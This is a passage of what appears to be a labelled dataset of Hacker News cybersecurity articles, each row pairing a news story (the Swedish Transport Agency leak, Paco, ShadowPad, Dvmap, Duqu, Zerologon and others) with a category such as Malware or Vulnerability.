The data breach exposed the names, photos and home addresses of millions of Swedish citizen, including fighter pilots of Swedish air force, members of the military's most secretive units, police suspects, people under the witness relocation programme, the weight capacity of all roads and bridges, and much more.

The incident is believed to be one of the worst government information security disasters ever.

Here's what and How it Happened:

In 2015, the Swedish Transport Agency hand over IBM an IT maintenance contract to manage its databases and networks.

However, the Swedish Transport Agency uploaded IBM's entire database onto cloud servers, which covered details on every vehicle in the country, including police and military registrations, and individuals on witness protection programs.

The transport agency then emailed the entire database in messages to marketers that subscribe to it.

And what's terrible is that the messages were sent in clear text.

When the error was discovered, the transport agency merely thought of sending a new list in another email, asking the subscribers to delete the old list themselves.

If you think the scandal ends there, you are wrong. The outsourcing deal gave IBM staff outside Sweden access to the Swedish transport agency's systems without undergoing proper security clearance checks.

IBM administrators in the Czech Republic were also given full access to all data and logs, according to Swedish newspaper Dagens Nyheter (DN), which analysed the Säpo investigation documents.

According to Pirate Party founder and now head of privacy at VPN provider Private Internet Access Rick Falkvinge, who brought details of this scandal, the incident ""exposed and leaked every conceivable top secret database: fighter pilots, SEAL team operators, police suspects, people under witness relocation.""

Tons of Sensitive Info Exposed about Both Individuals and Nation's Critical Infrastructures

According to Falkvinge, the leak exposed:
The weight capacity of all roads as well as bridges (which is crucial for warfare, and gives a lot idea about what roads are intended to be used as wartime airfields).
Names, photos, and home addresses of fighter pilots in the Air Force.
Names, photos, and home addresses of everybody in a police register, which are believed to be classified.
Names, photos, and residential addresses of all operators in the military's most secret units that are equivalent to the SAS or SEAL teams.
Names, photos, and addresses of everybody in a witness relocation program, who has been given protected identity for some reasons.
Type, model, weight, and any defects in all government and military vehicles, including their operator, which reveals a much about the structure of military support units.
Although the data breach happened in 2015, Swedish Secret Service discovered it in 2016 and started investigating the incident, which led to the fire of STA director-general Maria Ågren in January 2017.

Ågren was also fined half a month's pay (70,000 Swedish krona which equals to $8,500) after finding her guilty of being ""careless with secret information,"" according to the publication.

What's the worrying part? The leaked database may not be secured until the fall, said the agency's new director-general Jonas Bjelfvenstam. The investigation into the scope of the leak is still ongoing.

",Data_Breaches
Fake Grand Theft Auto V iFruit Android app fools thousands,https://thehackernews.com/2013/09/fake-grand-theft-auto-v-ifruit-android.html,"Android malware is continuing to cause problems for end users with huge amounts of fraud and Malware campaigns going on. A lot of fake apps are currently on Google Play Store fooling thousands of consumers.

Grand Theft Auto 5, which hit stores last Tuesday and is shaping up to be the most lucrative video game release ever.
Now, Rockstar Game do plan to bring their Grand Theft Auto V iFruit app for Android devices, but before official released, it's fake malicious versions are out in Google Play Market.

Rockstar have confirmed that they haven't released the Android version yet, only the iOS version is available right now and Android owners are warned not to download them, because some could contain malicious malware.

There are at least two fake apps have surfaced on the Google Play Store that use the same icon as iFruit in an attempt to mimic the real thing.

The deceptive part about these apps is that the developer publicly listed appears as ""Rockstar Game,"" suggesting that these knock-offs originate from Rockstar Game.

Remember: unlike Apple's iOS store, the Google Play Android app store is not moderated. Google is more relaxed with its app approval process than Apple and the firm's operation of its Play Store has resulted in malware, fake apps, and knock-off experiences in the past.

",Malware
1 Million Computers Hacked for making big Money from Adsense,https://thehackernews.com/2016/05/money-hacker.html,"A group of cyber criminals has infected as much as 1 Million computers around the world over the past two years with a piece of malware that hijacks search results pages using a local proxy.

Security researchers from Romania-based security firm Bitdefender revealed the presence of this massive click-fraud botnet, which the researchers named Million-Machine Campaign.

For those unaware, Botnets are networks of computers infected with malware designed to take control of the infected system without the owner's knowledge, potentially being used for launching distributed denial-of-service (DDoS) attacks against websites.

The malware in question is known as Redirector.Paco that alone has infected over 900,000 machines around the world since its release in 2014.

The Redirector.Paco Trojan infects users when they download and install tainted versions of popular software programs, such as WinRAR, YouTube Downloader, KMSPico, Connectify, or Stardock Start8.

Once infected, Paco modifies the computer's local registry keys and adds two new entries disguised as ""Adobe Flash Update"" and ""Adobe Flash Scheduler,"" to make sure the malware starts after every computer boot-up process.

Besides this, the malware drops JavaScript files that downloads and implements a PAC (Proxy Auto Configuration) file that hijacks all Web traffic, ensuring traffic routes through an attacker-controlled server.

Search Engine Display Fake Results even Over HTTPS

Paco then sniffs all Web traffic originating from the infected computer and looks for queries made over popular search engines like Google, Bing, or Yahoo! and replace the actual results with fake Web pages, mimicking their real User Interface.

The botnet has the ability to redirect search engine results even when the results are served over encrypted HTTPS connections. To do so, the malware uses a free root certificate ‒ DO_NOT_TRUST_FiddlerRoot ‒ that avoid your browser showing HTTPS errors.
""The goal is to help cyber-criminals earn money from the AdSense program,"" Bitdefender's Alexandra Gheorghe said in a blog post. ""Google's AdSense for Search program places contextually relevant ads on Custom Search Engine's search results pages and shares a portion of its advertising revenue with AdSense partners.""
Although the malware tries to make the search results look authentic, some markers can raise suspicions, like messages showing ""Waiting for proxy tunnel"" or ""Downloading proxy script"" in the status bar of your web browser.

Additionally, the search engine takes longer than usual to load results, and the typical yellow 'O' characters in Google above the page numbers are not displayed, according to researchers.

The security firm says that majority of victims are from India, Malaysia, Greece, the United States, Italy, Pakistan, Brazil, and Algeria.

However, to avoid these kinds of cyber threats, following standard security measures could save your ass, such as keep your system and antivirus up-to-date, and always keep an eye on warning that says something is not right with your computer.

",Malware
ShadowPad Malware is Becoming a Favorite Choice of Chinese Espionage Groups,https://thehackernews.com/2021/08/shadowpad-malware-is-becoming-favorite.html,"ShadowPad, an infamous Windows backdoor that allows attackers to download further malicious modules or steal data, has been put to use by five different Chinese threat clusters since 2017.
""The adoption of ShadowPad significantly reduces the costs of development and maintenance for threat actors,"" SentinelOne researchers Yi-Jhen Hsieh and Joey Chen said in a detailed overview of the malware, adding ""some threat groups stopped developing their own backdoors after they gained access to ShadowPad.""
The American cybersecurity firm dubbed ShadowPad a ""masterpiece of privately sold malware in Chinese espionage.""
A successor to PlugX and a modular malware platform since 2015, ShadowPad catapulted to widespread attention in the wake of supply chain incidents targeting NetSarang, CCleaner, and ASUS, leading the operators to shift tactics and update their defensive measures with advanced anti-detection and persistence techniques.
More recently, attacks involving ShadowPad have singled out organizations in Hong Kong as well as critical infrastructure in India, Pakistan, and other Central Asian countries. Although primarily attributed to APT41, the implant is known to be shared among several Chinese espionage actors such as Tick, RedEcho, RedFoxtrot, and clusters dubbed Operation Redbonus, Redkanku, and Fishmonger.
""[The threat actor behind Fishmonger is] now using it and another backdoor called Spyder as their primary backdoors for long-term monitoring, while they distribute other first-stage backdoors for initial infections including FunnySwitch, BIOPASS RAT, and Cobalt Strike,"" the researchers said. ""The victims include universities, governments, media sector companies, technology companies and health organizations conducting COVID-19 research in Hong Kong, Taiwan, India and the U.S.""
The malware functions by decrypting and loading a Root plugin in memory, which takes care of loading other embedded modules during runtime, in addition to dynamically deploying supplementary plugins from a remote command-and-control (C2) server, enabling adversaries to incorporate extra functionality not built into the malware by default. At least 22 unique plugins have been identified to date.
The infected machines, for their part, are commandeered by a Delphi-based controller that's used for backdoor communications, updating the C2 infrastructure, and managing the plugins.
Interestingly, the feature set made available to ShadowPad users is not only tightly controlled by its seller, each plugin is sold separately instead of offering a full bundle containing all of the modules, with most samples — out of about 100 — embedded with less than nine plugins.
""The emergence of ShadowPad, a privately sold, well-developed and functional backdoor, offers threat actors a good opportunity to move away from self-developed backdoors,"" the researchers said. ""While it is well-designed and highly likely to be produced by an experienced malware developer, both its functionalities and its anti-forensics capabilities are under active development.""

",Cyber_Attack
Stuxnet was planted by Iranian double agent using memory stick,https://thehackernews.com/2012/04/stuxnet-was-planted-by-iranian-double.html,"Stuxnet was planted by Iranian double agent using memory stick

The Stuxnet computer worm used to sabotage Iran's nuclear program was planted by a double agent working for Israel. The agent used a booby-trapped memory stick to infect machines deep inside the Natanz nuclear facility, according to a report published on Wednesday.

The worm is believed to have been placed on a specially crafted USB memory stick and handed over to a Natanz worker who, by all accounts, was an Iranian national belonging to a dissident group named Mujahideen-e Khalq (MEK).

""The MEK has been listed as a 'foreign terrorist organization' since 1997 because of deadly attacks on Americans abroad, but members of the group have been trained at a secret site in Nevada. U.S. officials consider them 'the assassination arm of Israel's Mossad intelligence service' as they have been connected to the killing of five Iranian nuclear scientists since 2007.

The incident with Stuxnet is not the first time that the US intelligence community used a virus to spy on and disable the systems of opponents.In the 1980s they targeted Soviet military and industrial structures, and in 1991, just before Desert Storm, the CIA and the British GCHQ injected malware into Iraqi computers.

[Read More]

",Malware
CVE-2012-2808 : Android 4.0.4 DNS poisoning vulnerability Exposed,https://thehackernews.com/2012/07/cve-2012-2808-android-404-dns-poisoning.html,"Android's DNS resolver is vulnerable to DNS poisoning due to weak randomness in its implementation. Researchers Roee Hay & Roi Saltzman from IBM Application Security Research Group demonstrate that how an attacker can successfully guess the nonce of the DNS request with a probability thatis su cient for a feasible attack. Android version 4.0.4 and below are Vulnerable to this bug.

Weakness in its pseudo-random number generator (PRNG), which makes DNS poisoning attacks feasible. DNS poisoning attacks may endanger the integrity and con dentiality of the attacked system. For example, in Android, the Browser app can be attacked in order to steal the victim's cookies of a domain of the attacker's choice. If the attacker manages to lure the victim to browse to a web page controlled by him/her, the attacker can use JavaScript, to start resolving non-existing sub-domains.

Upon success, a sub-domain points to the attacker's IP, which enables the latter to steal wild card cookies of the attacked domain, and even set cookies. In addition, a malicious app instantiate the Browser app on the attacker's malicious web-page. If the attacker knows the PID (for example, a malicious app can access that information), the attack expected time can be reduced furthermore.

Vulnerability dubbed as ""CVE-2012-2808"" Android 4.1.1 has been released, and patches are available on AOSP. The random sample is now pulled from /dev/urandom, which should have adequate entropy by the time network activity occurs.

",Vulnerability
First Android-Rooting Trojan With Code Injection Ability Found On Google Play Store,https://thehackernews.com/2017/06/android-rooting-malware.html,"A new Android-rooting malware with an ability to disable device' security settings in an effort to perform malicious tasks in the background has been detected on the official Play Store.

What's interesting? The app was smart enough to fool Google security mechanism by first pretending itself to be a clean app and then temporarily replacing it with a malicious version.

Security researchers at Kaspersky Lab discovered a new piece of Android rooting malware that was being distributed as gaming apps on the Google Play Store, hiding behind puzzle game ""colourblock,"" which was being downloaded at least 50,000 times prior to its removal.

Dubbed Dvmap, the Android rooting malware disables device's security settings to install another malicious app from a third-party source and also injects malicious code into the device system runtime libraries to gain root access and stay persistent.
""To bypass Google Play Store security checks, the malware creators used a very interesting method: they uploaded a clean app to the store at the end of March, 2017, and would then update it with a malicious version for short period of time,"" the researchers said.
""Usually they would upload a clean version back on Google Play the very same day. They did this at least 5 times between 18 April and 15 May.""

Here's How Dvmap Malware Works
Dvmap Trojan works on both 32-bit and 64-bit versions of Android, which once installed, attempts to gain root access on the device and tries to install several modules on the system including a few written in Chinese, along with a malicious app called ""com.qualcmm.timeservices.""

To make sure the malicious module gets executed with system rights, the malware overwrites system's runtime libraries depending on which Android version the device is running.

To complete the installation of the above-mentioned malicious app, the Trojan with system rights turns off ""Verify Apps,"" feature and modify system setting to allow app installation from 3rd party app stores.
""Furthermore, it can grant the ""com.qualcmm.timeservices"" app Device Administrator rights without any interaction with the user, just by running commands. It is a very unusual way to get Device Administrator rights,"" the researchers said.
This malicious 3rd party app is responsible for connecting the infected device to the attacker's command-and-control server, giving out full control of the device into the hands of attackers.

However, the researchers said, they haven't noticed any commands received by the infected Android devices so far, so it's unclear ""what kind of files will be executed, but they could be malicious or advertising files.""


How to Protect Yourself Against Dvmap Malware

Researchers are still testing the Dvmap malware, but meanwhile, advise users who installed the puzzle game in question to back up their device's data and perform a full factory data reset in an effort to mitigate the malware.

To prevent yourself from being targeted by such apps, always beware of fishy apps, even when downloading from Google Play Store, and try to stick to the trusted brands only. Moreover, always look at the comments left by other users.

Always verify app permissions before installing any app and grant only those permissions which have relevant context for the app's purpose.

Last but not the least, always keep a good antivirus app on your device that can detect and block such malware before it can infect your device and keep it up-to-date.

",Malware
FCC takes initiative to Speed Up Mobile Security Updates,https://thehackernews.com/2016/05/mobile-security-update.html,"In Brief
The Smartphone users are fed up with slow security updates, so two United States federal agencies have launched an official inquiry to know how manufacturers and carriers deal with mobile phone security updates and what they are doing to roll out patches as quickly as possible.

The Smartphone patch update mechanism is broken, and someone has to fix it.

Most smartphone models are not receiving available security patches, and the risk of vulnerabilities, malware infections, and data loss are leaving consumers vulnerable to attacks and putting businesses and corporate networks at risk.

The United States federal regulators want to know how and when mobile phone manufacturers and cell phone carriers release security updates to assure its users' security, amid mounting concerns over security vulnerabilities.

The Federal Communications Commission (FCC) in partnership with the Federal Trade Commission (FTC) have launched its own, parallel inquiry into mobile device security updates.

On Monday, the FTC ordered eight mobile phone manufacturers to answer few questions on how they handle security updates to address vulnerabilities in smartphones, tablets, and other mobile devices.

The mobile phone makers include Apple, Samsung, Google, Microsoft, Blackberry, HTC, Motorola, and LG.

Meanwhile, the FCC sent a letter to six mobile carriers – including AT&T, Sprint, and Verizon – ""to better understand the role that they play in ensuring the security of mobile devices.""

The FCC is concerned about so much delays in delivering security updates to affected devices and that ""older devices may never be patched.""

Here's what the FCC wrote in its Press release:
""As our nation's consumers and businesses turn to mobile broadband to conduct ever more of their daily activities, from the most sensitive to the most trivial, the safety and security and their communications and other personal information is directly related to the security of the devices they use.""
""There have recently been a growing number of vulnerabilities associated with mobile operating systems that threaten the security and integrity of a user's device and all the personal, sensitive data on it.""
The FCC asked the cellphone carriers about how they handle the rollouts of vulnerability patches, what hurdles they face in getting security updates to their users, what is the current rollouts process, and how do they notify customers about security flaws.

The FCC also requested Stagefright-specific data to know how the carriers became aware of the security flaw and how many of their customers' devices were affected by it.

Moreover, the agency asked carriers on whether the monthly security updates promised by Google, LG and Samsung are actually happening.

The FTC want mobile phone makers to detail:
The factors they consider in deciding whether to patch a flaw on a particular mobile device.
The details of the data on the particular mobile devices they have offered for sale to consumers since August 2013.
The security vulnerabilities that have affected those mobile devices.
Whether and when the company patched such security flaws.
The mobile phone makers and cellphone carriers are asked to respond to the questions within 45 days.

Mobile phone makers and cellphone carriers often aren't very interested in updating older devices, as they don't want to put much work into updating an older device and also want to encourage their customers to buy newer devices.

This leaves older models in an insecure state without any patch forthcoming.

So, this new move by the federal regulators would help the majority of phone users in the world who are running old, out-of-date, and potentially harmful software.

",Vulnerability
Shadow Brokers Leaks Another Windows Hacking Tool Stolen from NSA's Arsenal,https://thehackernews.com/2017/09/shadowbrokers-unitedrake-hacking.html,"The Shadow Brokers, a notorious hacking group that leaked several hacking tools from the NSA, is once again making headlines for releasing another NSA exploit—but only to its ""monthly dump service"" subscribers.

Dubbed UNITEDRAKE, the implant is a ""fully extensible remote collection system"" that comes with a number of ""plug-ins,"" enabling attackers to remotely take full control over targeted Windows computers.

In its latest post, the hacking group announced a few changes to its monthly dump service and released encrypted files from the previous months as well.

Notably, the September dump also includes an unencrypted PDF file, which is a user manual for the UNITEDRAKE (United Rake) exploit developed by the NSA.

According to the leaked user manual, UNITEDRAKE is a customizable modular malware with the ability to capture webcam and microphone output, log keystrokes, access external drives and more in order to spy on its targets.
The tool consists of five components—server (a Listening Post), the system management interface (SMI), the database (to store and manage stolen information), the plug-in modules (allow the system capabilities to be extended), and the client (the implant).

Snowden Leak Also Mentions UNITEDRAKE
UNITEDRAKE initially came to light in 2014 as a part of NSA's classified documents leaked by its former contractor Edward Snowden.

The Snowden documents suggested the agency used the tool alongside other pieces of malware, including CAPTIVATEDAUDIENCE, GUMFISH, FOGGYBOTTOM, GROK, and SALVAGERABBIT, to infect millions of computers around the world.
CAPTIVATEDAUDIENCE is for recording conversations via the infected computer's microphone
GUMFISH is for covertly taking control over a computer's webcam and snap photographs
FOGGYBOTTOM for exfiltrating Internet data like browsing histories, login details and passwords
GROK is a Keylogger Trojan for capturing keystrokes.
SALVAGERABBIT is for accessing data on removable flash drives that connect to the infected computer.

New Terms for Shadow Brokers Monthly Dump Service

The Shadow Brokers is now only accepting payments in ZCash (ZEC) from its monthly subscribers, rather than Monero since it uses clear text email for delivery, and has also raised the rates for exploits, demanding nearly $4 Million.

The group demanded 100 ZEC when it started its first monthly dump service in June, but now the hackers are demanding 16,000 ZEC (which costs $3,914,080 in total) for all NSA dumps. Zcash currently trades at $248 per unit.

Those who want to gain access only to the September dump that includes the new NSA malware files need to pay hackers 500 ZEC.

The Shadow Brokers gained popularity after leaking the SMB zero-day exploit, called Eternalblue, that powered Wannacry ransomware attack that crippled large businesses and services around the world in May.

After that, the mysterious hacking group announced a monthly data dump service for those who want to get exclusive access to the NSA arsenal, which they claim to have stolen from the agency last year.

",Malware
FBI Arrests Another Hacker Who Visited United States to Attend a Conference,https://thehackernews.com/2017/08/opm-hacker-data-breach.html,"The FBI has arrested a Chinese citizen for allegedly distributing malware used in the 2015 massive OPM breach that resulted in the theft of personal details of more than 25 Million U.S. federal employees, including 5.6 Million federal officials' fingerprints.

Yu Pingan, identified by the agency as the pseudonym ""GoldSun,"" was arrested at Los Angeles international airport on Wednesday when he was arrived in the United States to attend a conference, CNN reported.

The 36-year-old Chinese national is said to face charges in connection with the Sakula malware, which was not only used to breach the US Office of Personnel Management (OPM) but also breached Anthem health insurance firm in 2015.

The Anthem breach resulted in the theft of personal medical records of around 80 million current and former customers of the company.

Sakula is a sophisticated remote access Trojan (RAT) that was known to be developed by Deep Panda, a China-based advanced persistent threat group (known as APT19) and could allow an attacker to remotely gain control over a targeted system.
However, after a few months of the discovery of the OPM breach, Chinese government arrested a handful of hackers within its borders in connection with the OPM hack, dismissing its own involvement.

Pingan's arrest was similar to that of Marcus Hutchins, a 22-year-old British security researcher who has been accused of creating and distributing the infamous Kronos banking Trojan between 2014 and 2015.

According to an indictment filed in the US District Court for the Southern District of California on 21 August, Pingan has been charged with one count of the Computer Fraud and Abuse Act and is also accused of conspiracy to commit offence or defraud the United States.

The indictment suggests Pingan collaborated with two unnamed hackers to acquire and use malware to conduct cyber attacks against at least 4 unnamed US companies from April 2011 through January 2014.
""Defendant YU and co-conspirators in the PRC [People's Republic of China] would establish an infrastructure of domain names, IP addresses, accounts with internet service providers, and websites to facilitate hacks of computer networks operated by companies in the United States and elsewhere,"" the indictment reads.
Although the indictment filed doesn't name the companies that were targeted, it does note that the affected companies were headquartered in San Diego, California; Massachusetts; Arizona; and Los Angeles, California.

Pingan's role in those cyber attacks was to supply advanced malware to other unnamed Chinese crooks for hacks against United States organisations.

Pingan remains behind bars pending a court hearing on his detention next week.

",Data_Breaches
Secunia PSI 3.0 : Automatic Patching Of Insecure Applications,https://thehackernews.com/2012/02/secunia-psi-30-automatic-patching-of.html,"Secunia PSI 3.0 : Automatic Patching Of Insecure Applications

Secunia Personal Software Inspector (PSI) is a free program that scans the system for programs that are installed in an outdated version.The developers have just released the first beta version of Secunia PSI 3.0 for Windows. A new version of the Personal Software Inspector (PSI) tool from vulnerability management firm Secunia automates the updating of third-party programs that don't already have auto-updaters built-in.

When you start the program for the first time after installation, you are asked to run a scan on the system. Secunia compares the list of installed software with the latest versions stored in their database. A list of outdated programs are then displayed in the program interface.

Though most software vendors release patches, its tedious for users to find these updates and download them, where Secunia inspector tool identifies vulnerable programs and plug-ins in your Computer, download and installs all the required patches to keep your Computer safe so that you can safely bank, shop and socialize online.

Secunia PSI 3.0 is compatible with all recent 32.bit and 64-bit editions of the Microsoft Windows operating system.

Download Secunia PSI 3.0 Beta

",Vulnerability
Researchers explained How ANGRY BIRDS Sharing Your Personal Data,https://thehackernews.com/2014/04/researchers-explained-how-angry-birds.html,"We are already aware about the fact that most probably every mobile app is collecting our data in one or the other form. Thanks to Edward Snowden, who provided the secret documents that revealed that the world's most popular Smartphone applications, including gaming apps such as Angry Birds, are telling the government intelligence agencies (NSA) everything about us.

We reported earlier that how the government intelligence agencies, such as British intelligence agency GCHQ and U.S. intelligence firm NSA, use popular games to collect users' personal data including their GPS location.

Yes, the popular game Angry Bird, which is the top-selling paid mobile application in the United States and Europe for the iPhones, Android and has been downloaded more than a billion times by the devoted game players worldwide, who often spend hours squawking and playing the game. In fact earlier this month, CBS 60 Minutes shows that how Rovio shares users' locations.

Recently, the Security vendor FireEye posted a detailed critique of Angry Birds that again raises questions on the Rovio's Angry Bird. The security firm claimed that many popular Smartphone mobile apps, including Rovio's ubiquitous Angry Birds game is sharing users' data to advertising companies and 3rd party networks, which was previously denied by the developers of Angry Birds in the month of January.

Like many other app developers, Rovio is also making money by selling ad space in its games. To do this, they collect as much information on players as possible, usually by introducing new deals and features in return for supplying them with your email address, age and other identifiers.

ANGRY BIRDS SHARING DATA WITH ADVERTISING COMPANIES
According to the security firm, the new update of Angry Bird available on Google Play store on 4th March, works together with Burstly, ad-mediation platform and third-party ad networks including Jumptap and Millennial Media to share and store users' almost all kinds of information such as age, gender, and many more. It first fetches the customer id, then uploads the personal data to the cloud and then transmits it to the other advertising clouds.

""Once a Rovio account is created and personal information uploaded, the user can do little to stop this personal information sharing. Their data might be in multiple locations: Angry Birds Cloud, Burstly and third-party ad networks such as Jumptap and Millennial Media,"" researchers say.

Angry Birds app also offers a newsletter signup to players, that update Angry Birds players with new games, episodes, and special offers. Rovio's newsletter signup collects the player's first and last name, email address, date of birth, country of residence, and gender.
ROVIO DOES NOT PROVIDE USER DATA TO NSA, BUT NSA HAVING IT
Rovio, the firm behind the making of the Angry Bird stressed that it was migrating towards its own ad platform and that they are not sharing it with other 3rd party networks or any Government Agencies.

Declining to the claims, Rovio issued a statement in the month of January that reads, ""The alleged surveillance may be conducted through third party advertising networks used by millions of commercial web sites and mobile applications across all industries. If advertising networks are indeed targeted, it would appear that no internet-enabled device that visits ad-enabled web sites or uses ad-enabled applications is immune to such surveillance. Rovio does not allow any third party network to use or hand over personal end-user data from Rovio's apps.""

""Our fans' trust is the most important thing for us and we take privacy extremely seriously. We do not collaborate, collude, or share data with spy agencies anywhere in the world.""

Previous news stories explained that how NSA is intercepting users' data via popular mobile apps without the knowledge of service providers or app developers, so nothing here that leads to a change of surveillance state, because it might be possible that Government Agencies are collecting apps data through advertising companies.

Users are advised to play Angry Birds or any other Mobile game without signing up an account in order to avoid sharing personal data, but that won't stop the game from sharing device information.

",Data_Breaches
British Hacker Accused of Blackmailing healthcare Firms Extradited to U.S.,https://thehackernews.com/2019/12/dark-overlord-hacker-extradited.html,"A British man suspected to be a member of 'The Dark Overlord,' an infamous international hacking group, has finally been extradited to the United States after being held for over two years in the United Kingdom.

Nathan Francis Wyatt, 39, appeared in federal court in St. Louis, Missouri, on Wednesday to face charges related to his role in hacking healthcare and accounting companies in the U.S. and then threatening to publish stolen information unless victims paid a ransom in Bitcoin.

According to a court indictment unsealed yesterday, Wyatt faces one count of conspiracy, two counts of aggravated identity theft and three counts of threatening to damage a protected computer.

However, the suspect has not yet pledged guilty to any of the charges in the U.S. federal court, where he appeared after fighting for 11 months to avoid being extradited from Britain.

Cyber Attacks by The Dark Overlord Group

British police first arrested Wyatt in September 2016 during an investigation into the hacking of an iCloud account belonging to Pippa Middleton, the younger sister of the British royal family member Duchess of Cambridge, and stealing 3,000 images of her.

Though he was released in that case without charge due to lack of evidence, Wyatt was again arrested in September 2017 over hacking companies, credit card fraud, and blackmail schemes.

The indictment does not name the companies allegedly attacked by The Dark Overlord hacking group between February 2016 and June 2017 but says the victims include multiple healthcare providers and accounting firms in Missouri, Illinois, and Georgia states.

However, the Dark Overload is the same hacking crew that previously has been attributed to a number of hacking attacks, including leaking 10 unreleased episodes of the 5th season of 'Orange Is The New Black' series from Netflix and hacking Gorilla Glue, Little Red Door cancer service agency, among others.

The Dark Overlord Threatened Victims and their Relatives

According to the press release published by the Justice Department, Wyatt created and operated the email and phone accounts to threaten the compromised organizations to extort money, and in case victims refused to pay, Wyatt harassed and threatened their relatives.


Among other threatening messages the defendant sent to the victims, the indictment accused Wyatt of sending threatening text messages to the daughter of one of the owners of the Farmington company, asking her, ""hi ... you look peaceful ... by the way did your daddy tell you he refused to pay us when we stole his company files?""

The hacking group members also threatened to call the public accountants' clients ""one by one"" unless the company paid the ransom.

""Today's extradition shows that the hackers hiding behind The Dark Overlord moniker will be held accountable for their alleged extortion of American companies,"" said Brian A. Benczkowski, Assistant Attorney General of the Justice Department's Criminal Division.

""We are thankful for the close cooperation of our partners in the United Kingdom in ensuring that the defendant will face justice in U.S. court.""

Prosecutors have asked the court to keep Wyatt in jail until trial.

",Cyber_Attack
New Cyber Espionage Group Targeting Ministries of Foreign Affairs,https://thehackernews.com/2021/06/new-cyber-espionage-group-targeting.html,"Cybersecurity researchers on Thursday took the wraps off a new cyber espionage group that has been behind a series of targeted attacks against diplomatic entities and telecommunication companies in Africa and the Middle East since at least 2017.
Dubbed ""BackdoorDiplomacy,"" the campaign involves targeting weak points in internet-exposed devices such as web servers to perform a panoply of cyber hacking activities, including laterally moving across the network to deploy a custom implant called Turian that's capable of exfiltrating sensitive data stored in removable media.
""BackdoorDiplomacy shares tactics, techniques, and procedures with other Asia-based groups. Turian likely represents a next stage evolution of Quarian, the backdoor last observed in use in 2013 against diplomatic targets in Syria and the U.S,"" said Jean-Ian Boutin, head of threat research at Slovak cybersecurity firm ESET.
Engineered to target both Windows and Linux operating systems, the cross-platform group singles out management interfaces for networking equipment and servers with internet-exposed ports, likely exploiting unpatched vulnerabilities to deploy the China Chopper web shell for initial access, using it to conduct reconnaissance and install the backdoor.
Targeted systems include F5 BIG-IP devices (CVE-2020-5902), Microsoft Exchange servers, and Plesk web hosting control panels. Victims have been identified in the Ministries of Foreign Affairs of multiple African countries, as well as in Europe, the Middle East, and Asia. Additionally, telecom providers in Africa and at least one Middle Eastern charity have also been hit.
""In each case, operators employed similar tactics, techniques, and procedures (TTPs), but modified the tools used, even within close geographic regions, likely to make tracking the group more difficult,"" the researchers said. BackdoorDiplomacy is also believed to overlap with previously reported campaigns operated by a Chinese-speaking group Kaspersky tracks as ""CloudComputating.""
Besides its features to gather system information, take screenshots, and carry out file operations, ESET researchers said Turian's network encryption protocol is nearly identical to that employed by WhiteBird, a C++ backdoor operated by an Asia-based threat actor named Calypso, that was installed within diplomatic organizations in Kazakhstan and Kyrgyzstan, and during the same timeframe as BackdoorDiplomacy.

",Malware
Duqu computer virus Detected by Iran civil defense organization,https://thehackernews.com/2011/11/duqu-computer-virus-detected-by-iran.html,"Duqu computer virus Detected by Iran civil defense organization

The virus is called W32.Duqu, or just Duqu create fear after the opening Pandora's Box of Stuxnet. The head of Iran's civil defense organization told the official IRNA news agency that computers at all main sites at risk were being checked and that Iran had developed software to combat the virus.

First, Duqu is not deigned to harm industrial automation. The software basically attacks windows systems. Instead of sabotaging industrial control, Duqu has been general remote access capabilities. Duqu has a key logger and can save passwords etc.. The malware uses HTTP and HTTPS to communicate to a command and control (C&C) server at 206.183.111.97, which is hosted in India, the IP is inactive as of October 18th. Duqu infiltrates systems directly it is not a worm like Stuxnet and needs to be placed directly, e.g. through infected mails.Duqu also the certificate of C-Media Electronics Incorporation, a Taiwanese audio chip producer.

""We are in the initial phase of fighting the Duqu virus,"" Gholamreza Jalali, was quoted as saying. ""The final report which says which organizations the virus has spread to and what its impacts are has not been completed yet. All the organizations and centers that could be susceptible to being contaminated are being controlled,"" he said.

So far Duqu was found on less than 10 computers from European companies, which are developing industrial control software, according to a Symantec-Analyst. The software is programmed to remove itself automatically after 36 days. The complete set up: Invades target (not wormlike), spies out passwords, and removes itself – hopefully without being detected – seems like Duqu actually prepares an attack. This is also assumed by F-secure, ""it's possible we'll eventually see a new attack targeting PLC systems, based on the information gathered by Duqu.""

",Malware
Detecting and Preventing Critical ZeroLogon Windows Server Vulnerability,https://thehackernews.com/2020/09/detecting-and-preventing-critical.html,"If you're administrating Windows Server, make sure it's up to date with all recent patches issued by Microsoft, especially the one that fixes a recently patched critical vulnerability that could allow unauthenticated attackers to compromise the domain controller.
Dubbed 'Zerologon' (CVE-2020-1472) and discovered by Tom Tervoort of Secura, the privilege escalation vulnerability exists due to the insecure usage of AES-CFB8 encryption for Netlogon sessions, allowing remote attackers to establish a connection to the targeted domain controller over Netlogon Remote Protocol (MS-NRPC).
""The attack utilizes flaws in an authentication protocol that validates the authenticity and identity of a domain-joined computer to the Domain Controller. Due to the incorrect use of an AES mode of operation, it is possible to spoof the identity of any computer account (including that of the DC itself) and set an empty password for that account in the domain,"" researchers at cybersecurity firm Cynet explain in a blog post.
Though the vulnerability, with a CVSS score of 10.0, was first disclosed to the public when Microsoft released a patch for it in August, it became a matter of sudden concern after researchers published technical details and proof-of-concept of the flaw last week.
Along with Indian and Australian Government agencies, the United States Cybersecurity and Infrastructure Security Agency (CISA) also issued an emergency directive instructing federal agencies to patch Zerologon flaws on Windows Servers immediately.
""By sending a number of Netlogon messages in which various fields are filled with zeroes, an unauthenticated attacker could change the computer password of the domain controller that is stored in the AD. This can then be used to obtain domain admin credentials and then restore the original DC password,"" the advisories say.
According to Secura, the said flaw can be exploited in the following sequence:
Spoofing the client credential
Disabling RPC Signing and Sealing
Spoofing a call
Changing Computer's AD Password
Changing Domain Admin Password
""CISA has determined that this vulnerability poses an unacceptable risk to the Federal Civilian Executive Branch and requires an immediate and emergency action.""
""If affected domain controllers cannot be updated, ensure they are removed from the network,"" CISA advised.
Moreover, Samba—an implementation of SMB networking protocol for Linux systems—versions 4.7 and below are also vulnerable to the Zerologon flaw. Now, a patch update for this software has also been issued.
Besides explaining the root cause of the issue, Cynet also released details for some critical artifacts that can be used to detect active exploitation of the vulnerability, including a specific memory pattern in lsass.exe memory and an abnormal spike in traffic between lsass.exe.
""The most documented artifact is Windows Event ID 4742 'A computer account was changed', often combined with Windows Event ID 4672 'Special privileges assigned to new logon'.""
To let Windows Server users quickly detect related attacks, experts also released the YARA rule that can detect attacks that occurred prior to its deployment, whereas for realtime monitoring is a simple tool is also available for download.
However, to completely patch the issue, users still recommend installing the latest software update from Microsoft as soon as possible.

",Vulnerability
